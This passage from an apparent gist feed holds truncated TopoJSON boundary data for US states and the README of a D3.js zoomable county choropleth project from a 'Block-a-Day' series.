uot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/036c2a6819ca5211d6b51efa7cd7f008">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/036c2a6819ca5211d6b51efa7cd7f008">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/f644e13737e8a14417ebbd4374e1281b</link>
      <guid isPermaLink="true">https://gist.github.com/f644e13737e8a14417ebbd4374e1281b</guid>
      <pubDate>Wed, 21 Sep 2016 18:10:14 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T18:10:14.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>4923</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6334</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


